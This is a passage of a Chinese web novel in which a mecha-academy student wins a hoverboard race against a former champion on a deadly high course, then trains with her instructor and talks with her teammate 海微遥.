“这么轻松见到就没意思了。”鸣星微笑道：“不如这样，如果飞刃上我赢了你，你就让我看看脸。” “如果我赢了呢？” “你说了算。” 奥沉默地盯了她几秒，盯得她浑身发毛时，忽然开口:“我赢了，你和我去约会。” 29. 高空赛-死亡之峰 管道区边缘的高墙上，小六蹲在那儿，手里的烟灭了很久。 “有意思。”她轻笑一声，把烟头丢到地上。 小六身后几个飞板玩家看了启明星和涡流对战的全程，全都瞪大了眼，震惊不已。飞板运动连着两年出黑马，一年比一年可怕，这该死的天赋！ 戴墨镜的男人转着摄像头，兴奋地挥舞双手，“直播间的家人们！刚才的精彩战斗如何？去年黑马的奥和今年黑马的启明星都在下面，想看我采访的给刷个火箭……” “吵死了。”小六一巴掌拍到他后脑勺上。 “六姐，我出镜呢，别搞我啊。”墨镜男小声道，转过镜头，又慷慨激昂：“去年飞行比赛‘天环王座’的冠军六姐也在观战！大家有什么想和六姐问的，刷个火箭——” 小六扣住他的镜头，一点他额头，“我要和启明星聊聊，别录啊。” …… 鸣星刚飞出管道区的小门，面前一行人拦住了去路。 小六踩着红板，插兜站在最前，身后几人都是之前看热闹的飞板玩家，还有个墨镜男一抬手，一块光污染的全息横幅拉在空中，上面写着五个大字： 启明星无敌 鸣星：“……这是什么？” “他是你的第一个粉丝。”小六勾唇一笑，“启明星，你要出名了。” 鸣星想说，其实她早就出名了。 她紧了紧头盔带子，心想幸好还没摘。她可不想让自己的作弊争论影响到飞板比赛。 小六：“别不信，你去看看赔率，已经不少人押你了。” 鸣星连忙点开腕表。小六问道：“你要做什么？” “压我自己赢。” “压多少？” “全部身家。” 小六大笑起来，“你够狂的。” 她以为鸣星在开玩笑，哪知鸣星真的点进网站，打钱提交。她一愣，只见鸣星抬起头来，风镜透出轻轻的笑容，“拿到冠军的理由又多了一个。” 小六微一挑眉。 奥报名的那一刻，赔率直线跳水，今年冠军热门预定。 “你凭什么以为你能赢过老奥？你可没见过他玩飞板的样子。” “我必须赢他。”鸣星关了腕表，“否则我们就要约会了。” “……啊？”小六嘴里的烟掉到地上。 “而且我的速度不次于他。飞行意识上也……” “等等等。”小六打断了她的分析，“我刚才没听错吧？” “他不服而已。” 小六的表情变了好几番，最后停留在一个扭曲的位置。她看了鸣星好几眼，拇指一抵胸口，“跟我玩玩？你要是能赶上我一半，你和老奥胜率就能五五开。” 鸣星的目光落在小六板子的金色图案上，看标识，这红板是去年飞行机甲比赛冠军的奖品之一。 她心跳快了几分。 “好呀，怎么玩？” …… 环形高跑区，鸣星半蹲在楼顶，剧烈喘息着，额头一道擦伤，纱布后渗出血迹来。头盔和骷髅的速度板一起横在边上，边缘有几块新磕出的凹陷。 这场竞速赛，她已经连输五次了。 小六悠悠地飘到她面前：“启明星，你还是反悔吧。别把钱和自己都搭进去了。” 鸣星擦去汗水，微微抬头，却没看她，目光牢牢锁定在她的板子上。中等厚度，板身暗红，两侧有一对翅膀模样的离子推动器，根据重心和速度控制角度，还能在板主失控时自动校准方向。 “它叫什么名字？” “破伤风。”小六点了个烟叼在嘴边，面带得意，“越高越快。很邪门是不？” “很厉害。奥的板子比这还厉害吗？” “他板子很多，谁也不知道比赛要用哪个，你就别想着事先打探了。” “嗯……” 鸣星应了一声，没再问。 如果用忘川，她应该能摸到小六的边。但她一时半会买不起星兽角，而且，赛前盯上她的人也会变多…… 她叹了口气，望向小六的双眼，感慨道：“小六，你怎么这么厉害呢？” 小六不管多离谱的夸奖和吹捧都听过了，但这么纯粹的倒是少见，她清了下嗓子，微微转开了目光：“我师父是飞花。” 鸣星身子一抖，机械手不受控制地抽搐起来。 飞花，据说是黑蔷薇的校外小号。 她呼吸急促几分，努力压着情绪，问道：“怎么认识的？” 小六瞥了她右手一眼，“想拜师是吧？我告诉你，基本不可能。她现在很忙，早就不收徒了，我都见不到她影。” 鸣星的手慢慢平复下来，安静地搭在身侧。 “她会来看比赛吗？” “应该会。飞板和飞行机的都会，也许还能找些尖子提点一下……我得飞板冠军那次，一下赛场她就找我了。后面她教我开飞行机，我就转去打飞行比赛，嗯，还是冠军。” 鸣星沉默了会，小六也没说话，只是默默地吐着烟圈。 许久，鸣星站起身来。她身子晃了晃，但很快稳住了，说道：“再来一次。” “不休息下？” “最后一次啦。”鸣星淡淡一笑，“比完这次我就回去。” “行啊。”破伤风在空中抖了个花，小六道：“搞完这次就休息，明天再玩。” 鸣星摇摇头：“明天不来了。” 英弦已经把下周的刷题特训计划发给她了，她所有的课余时间都被榨干。 “后天？” “后天不了。” “那下周末。” “周末应该也不行。” 小六挑眉道：“啥意思，你想和老奥约会？” 鸣星看她一眼。 “你这个水平可赢不了他啊。” “如果我有更好的板子，会赢他的。”鸣星说着，眼神又一次落在破伤风上。 “干什么。”小六警惕地一侧身，“我可不卖。” 鸣星忽地一笑，“要打赌吗？” “怎么？” “如果我这次赢了你，就借我试一次破伤风，一次就好。” “这赌注太无聊了吧。搞点有趣的，你赢了，破伤风送你。”小六胜券在握地笑，烟头在嘴角乱晃，“输了，我叫你来你就来，不管你有什么正事，翘掉，陪我玩。” 很快，两人再次回到起点。小六慢条斯理地把烟抽完，随手丢到一边，斜睨她一眼：“其实你很想来跟我玩吧。” “为什么？” “你明知道自己赢不了。” 鸣星低下头，嘴角止不住地上翘，轻声道：“其实，我很喜欢你的破伤风。” 小六哼笑一声，“我也挺喜欢你这个狂傲的样子。” 自动倒计时响起，她们不再交谈，目视前方，压低身子。 砰！ 枪响之时，两人如两颗子弹发射出去。 环形高跑的赛道交错复杂，有无数条路通往终点，但距离越近的路反而越难，因为沿路做了许多徒升的设计，还有数不胜数的奇怪障碍物。 而最近的那条路，高处最高。 没有赛道边缘做防护，只有毫不稳定的磁场，以及往下瞄一眼就让人腿软的50米高空。 最开始，两人的速度不相上下，破伤风的优势完全没有发挥出来，它和普通的速度板几乎没有 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小六眉头一挑，心道，这次居然要挑战次高路吗？此招虽险，但很有勇气…… 鸣星压紧身子，板头再次下翘，第二次大跳！ 小六瞳孔猛缩。 启明星，飞入了绝无反悔可能的最高路。 这危险过头了！ 鸣星显然没来过废都，飞中路都能受伤，最高路则完全不熟悉，还是这么疯狂的速度，不是撞死就是摔死。 “停赛！” 小六声嘶力竭地吼道。 鸣星疯了，但她没有。玩飞板的有很多搏命的疯子，但命应该在正式比赛上搏，而不是这种没名义没记录的平时练习。 鸣星没停。不止没停，速度都没减半分，她甚至又一次大跳，开始加速！ “……个疯子！”小六狠狠皱起眉，怒骂道。她脚下泄愤般地重重一踩，开始加速。 鸣星已经在搏命，她也只能奉陪。 她虽然在尽力快飞，但目光无法从鸣星身上离开，紧张地看着鸣星拐过一个又一个急转的岔路，看鸣星攀上高峰——又一次加速。 小六身子颤抖，这疯娘们以为自己开的是破伤风吗？一个普通的速度板，在那地方加速是嫌自己命太长？ 最高点的磁场，其实并不稳定。 鸣星或许不知道那意味着什么，但她在泡在这地方几年，已经见过不下十个极限选手在那地方摔死了。 没有翅膀的人类进入不属于自己的高度，不可能不慌张。 从一点小小的恐惧开始，人会控制不住高速的板子，被一瞬间磁场的微小变化打乱方向。 紧接着，板头一毫米的错误会引起连锁反应，让板主心下大乱，板子失控，重心不稳，从那死亡高度坠落下来。 ——如果她在那个地方，用余光向下瞄一眼。 只要一眼。 后面的事情几乎百分百会发生。 所以，50米的那个最高拐点，被称作废都的“死亡之峰”。 小六后背渗出冷汗，她已经不敢再看，但又不愿错开双眼。她眼睁睁看着鸣星向上攀。 45米——48米——49米—— 她进入了顶峰。 暮色正在下沉，蓝色的幽光缓缓漫过天际。在巨目的凝视中，在那个人被缩成一个小点的高度，鸣星降下了速度。 没有向下看，而是闭上了眼。 发尾狂乱地飞扬，衣摆翻卷，风灌满袖口。 她缓缓张开双臂，好似享受着死亡之峰清凉的夜风。 小六张大了嘴，目瞪口呆，半天才吐出一句，“操。” 30. 飞板-破伤风 小六的眼不曾移开一瞬。 耳边是风的呼啸、引擎的轰鸣、她自己的心跳。 以及，一声遥远的笑。 从五十米的高空传来，被风撕扯得支离破碎。但确实是笑的声音。 鸣星正在下降。等小六回过神的时候，她已经落了地，飞板停在终点线前三米。 小六张了张嘴，还没骂出声，就看见鸣星回过头来。她额头有汗，嘴角带笑，眼睛亮得惊人。 小六身子一震，向前猛冲，然而鸣星轻轻向前一飘，越过了终点线。 “我赢了。”她说。 小六跳出了赛道，抄近路追过去。她狠狠揪住鸣星的领口，所有的脏话都咽下去，能说的只剩一句，“你不要命了？” “你要是发脾气，我就不和你玩了。” “……”小六缓缓松开了手，“你和我玩拼什么命啊。不怕死还是本来就想死？” “鸟是不会害怕高空的。” 鸣星轻声道。她脸颊泛红，神情恍惚，显然处于一种不正常的状态。说到这，她又一次仰起头，凝望高空。 “你在说什么？哪有鸟？”小六抬头看了一圈，废都上空围起来了，不可能有鸟进来。 鸣星长长地吐了一口气，无比畅快，声音里藏不住笑意，她望了过来：“所以我也不会。” “你是鸟？你傻了啊！鸟不会摔死，你会！” “如果怕摔死，我就飞不到那么高。” “你……我……”小六不想骂鸣星，但也说不出别的话来，最后只能又化成一句狠狠的，“操。” 每个摔死的人还活着的时候都是这么说的。虽然他们也的确一次又一次刷新着废都的挑战记录，但没人取代小六的飞行冠军位置，就是因为他们都死了。 不过这话对鸣星说显然没用。 小六深吸几口气，说道：“喂，再来一次。” 鸣星的注视下，她错开目光，不忿道：“破伤风给你，我没想反悔。就只是，再来一次。但不许走高路啊！我们不玩命。” “我不。”鸣星笑道：“我要记住现在这种感觉。” “……”小六忍不住白她，“什么，玩命的感觉吗？” “是胜利的感觉。” 鸣星临走前，小六不舍地看着她背后的破伤风，说道：“你要好好对它啊。” “放心，我很喜欢它的。” 小六：“……”这话有点耳熟。 鸣星挥了挥手，正要走，小六忽然问：“启明星，你还是学生吗？” 鸣星一歪头，“我看着像吗？” “本来看着挺像的，但你刚才那个选择不像是学生能做出来的。” “为什么？” “因为学生……”小六顿了顿，“学生以后发展比较好。” “我确实是学生。” “你在哪上学？” “不告诉你。” “……下周末过来。”小六不容置疑地说，“你都带走我的破伤风了，还不来让我看你训练，不合适吧？” “我尽量来。” “我会在这里等你的。” “嗯，我尽量来。” “加个联系方式，你不来我上门找你。我就在这片，你住哪？” “下次见面和你说。” “你会来的吧？” “我尽量！” 看着鸣星的背影，小六烦躁地踢走一块石头，“哎，这女人真烦！” …… “……你迟到了。” 英弦放下文件，看着门口摇摇晃晃的鸣星，微一皱眉。 她面色微醺，步伐轻飘，看着像是喝了酒，眼睛亮闪闪地看过来。 这两天刷题时她一直心不在焉，情绪低落，还是头一次露出这么高兴的表情。 鸣星几乎是跳着走进来，站在他办公桌前，嘴角高高扬起，“长官，我的生活发生了一件很好的事。” 英弦对学生的私生活和情感丝毫不感兴趣。他烦躁地在纸上划出一道痕迹，又忍不住看了她两眼，“……什么？” “不能说。” “……”英弦抬手一指标准机，“上机。” 鸣星飘到机子里，系着安全带，一边说道：“长官，我今天认识了一个很厉害的人……” “……” “嗯。超级厉害。” “……什么人。” “哼哼，不能说。” 英弦额头青筋暴起，“不说就闭嘴。” “其实，也不是不能说——嗷！” 鸣星被英弦电了一下，惨叫一声。她吐了下舌头，不再说话，老实地开始练习。 认识了有趣的野生机师、见到黑蔷薇的徒弟这种事…… 被飞行比赛冠军邀请一起玩这种事的兴奋。 英弦是绝对不会理解的。 不过她不需要他的理解。她的右手失控地不断抽搐，但她没有在意，只是从机舱里望出去，笑吟吟地看着他。 她就只是想要说一句。 “长官，今天我很开心。” 英弦气得头疼，瞪她一眼：“开心就加练。” …… 晚饭后，鸣星开始做今天的清理任务。 报名和特训占了她太多时间，今天龙蛋闭馆之前做不完了。她给没清理完的机甲拍了个照，发给仓库管理员，附言：阿姨，今天我能晚点走吗？ 仓管是个少言寡语的阿姨，每次都只回好和不行。今天不知怎么了，秒回了七个字： 在龙蛋等我一下 鸣星也没在意，合上腕表，开始干活。十分钟后，有个男人从门口远远地跑来，大概一路走得很急，气喘吁吁地停在她面前，说道：“我刚听说这个任务是你在干……” 鸣星看向他，擦拭的动作一顿。 这是入校考试评级时的那个评审员。 “老师，找我有事吗？” 她语气平静如常，评审员却似乎被她的平淡哽了一下，问道：“你还记得我吗？” “记得呀，你给了我F评级。” “……” “老师？” 评审员递过来一张密钥卡片：“你要多待一会，就从仓库小门走吧。” 鸣星接过密钥：“谢谢老师。”说罢，又转身专心地清理机甲来。 评审员问道：“你是在攒积分吗？怎么不做奖励高些的任务。” “因为我做不了。” “我听说了，你不能开机甲的情况。” 鸣星瞥了他一眼，不知他说这个干嘛，也有点纳闷怎么她开不了机甲的事传得人尽皆知？ “那时候……我是看你简历评的。”评审员局促地扶着机甲，“不是对你本人有意见。” “没事，我本来就是F级，进龙羿是意外。” 她倒是淡然，评审员尴尬得要命，清了清嗓子：“你从仓库走，晚上悄悄来练不会有记录的。” 鸣星停下动作，认真地朝他笑了笑，“我知道了，谢谢你。” 她清理完了一整个，却见评审员还在边上，脸微微涨红，低声道：“鸣星啊……” “嗯？” “……我女儿是你的粉丝。” “谁的粉丝？” “你的。观音的。” 鸣星从机甲关节里伸出手来，比了个拇指：“你女儿很有眼光。” “所以……加油。”评审员生疏地握拳，“你一定能再次开起来的。” 鸣星见他那费劲的样子，有些哭笑不得：“好。” 评审员悄悄地走开，忽然听到鸣星在身后叫他，“老师。” “告诉你女儿。”她捏了个手印，从胸口飞出去，指向评审员的脸，“观音与她同在。” 评审员：“……” “告诉她的时候记得做这个手势。” 评审员表情扭曲，艰难地说道：“……好的。” 鸣星一直待到了凌晨，总算把这两天积累的任务清完了。接下来一周的饭钱都有了着落，她长出一口气，躺在仓库前的垫子上。 从这个视角看去，星光点缀在银龙四周，她如同躺在银龙的爪上，在旷野仰望星空。 虽说评审员给她钥匙是给她多多练习的机会，但她现在只想在龙蛋里多躺一会。 她望着穹顶，脑中不断回想起废都交错复杂的管道、缝隙里翩然起飞的渊隼、踩在破伤风上吐烟圈的小六…… 还有飞花。 她摘下手套，向银龙伸出了机械手，白玉般的材质反着蓝光。这是妈妈能买得起的最好的材料，妈妈用了无数日夜精心制作，最后做出了一只最适合她的、精密堪比机甲的机械手。 和人手并无区别。 不过，现在时常脱离控制，想要做出复杂动作时也总是头疼。 只要她穿上机甲服，所有问题都会迎刃而解。手会恢复，机甲能开起来。机甲服损失的那点同步率和远程连接比根本不算什么，她可以轻松地控制这只手，就像当时她用头发编制出那条机甲带一样。 只不过她需要习惯那种束缚的感觉。 而习惯后，她就再也无法脱下那层束缚了。 鸣星的手缓缓下落，放到自己的眼睛上，从眼角轻轻滑过，抚摸五官的形状。仿佛是别人的手触摸自己，有些奇怪的感觉 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走到门口时，只听鸣星问道：“走之前都不和我打个招呼吗。海微遥？” 海微遥二话不说就要向外冲，被她从身后拉住衣领，两人僵持在原地。 鸣星：“你怎么进来的？” “……” “你投降还有控分都是为了掩盖实力吗？但你掩盖得不怎么样，其实大家都知道你很厉害。” 海微遥终于有反应了。他轻轻推开了她的手，说道：“……多关注下自己吧。” “我怎么了？” “机甲都开不了。” “开不了机甲怎么了？” 海微遥抬头看她，即使目光被藏在镜片后，也能看出他一脸的不可思议——这是顶尖机甲军校的学生能说出来的话吗？ “再说，我这不是来加练了吗，和你一样。” “你没练。”海微遥重重道：“你在睡觉。” “睡觉是为了更好的练习。” 海微遥无话可说，转身要走。鸣星又拽住了他的领子，“队长，下次团战你要带我们胜利啊。” “……” “我都承诺了大家，我们会赢。” 海微遥肩膀抽动了下，“你承诺的，和我有什么关系？” “和你的关系是，你是队长。” 话都说不利索的海微遥终于怒了，双拳攥紧，发根直立，“……是你骗我当的！” “但你已经是了。如果团战胜利，我们可以得到B级别的任务资格……” “我不需要那个任务。”海微遥打断了她，“你其实，也无所谓吧。” 鸣星没说话，慢慢松开了手。 “我只要回到银龙班。”海微遥斜她一眼，见她沉默，似乎暗暗得意起来，“而你。你只想离开这里吧？” 他似乎进入了状态，说话速度越来越快，“你不该来这里，你对排名无所谓，对战斗无所谓。你对机甲，没有爱。” 鸣星歪头看他，“你随随便便就投降了，你又有多爱？” 海微遥哼了一声，“他们不配当我的对手。” “就只有云斯京配吗？” 海微遥浑身一颤，他又想起那场战斗了，把他从银龙班挤掉的战斗。 半晌，他轻轻说道：“他配。” 他转过身来，摘掉了眼镜。厚重的刘海下，纤长的睫毛轻轻抖动，宛如蝴蝶的羽翼，一双锐利清亮的灰绿色眼睛看了过来。 “我要，打败他。” 海微遥的声音前所未有的坚定。 鸣星看着他一愣，“你长的还挺好看。” “……” 海微遥默默地把眼镜戴了回去。 他僵硬地转身，鸣星凑过去，“我没太看清，能再让我看一次吗？” “……不行！” “你摘眼镜干什么？” “不……不干什么。” “你就算不戴眼镜，他们也不会关注你的手的，大家只会看你的脸……” 海微遥唰地把六指的手缩进袖子里，隔着眼镜，愤怒地瞪视她。 “不要说这个！” “哪个？”鸣星举起右手，“你说手吗？” 海微遥看着那只机械手，微微一怔。 手伸到他面前，他没有躲闪，就这么直直地看着，看那手轻巧地捏住他的眼镜，摘了下来，转了个花。 “我很爱机甲，至少，我很爱我的手。”鸣星朝他微微一笑，“这应该也算机甲吧。你觉得呢？”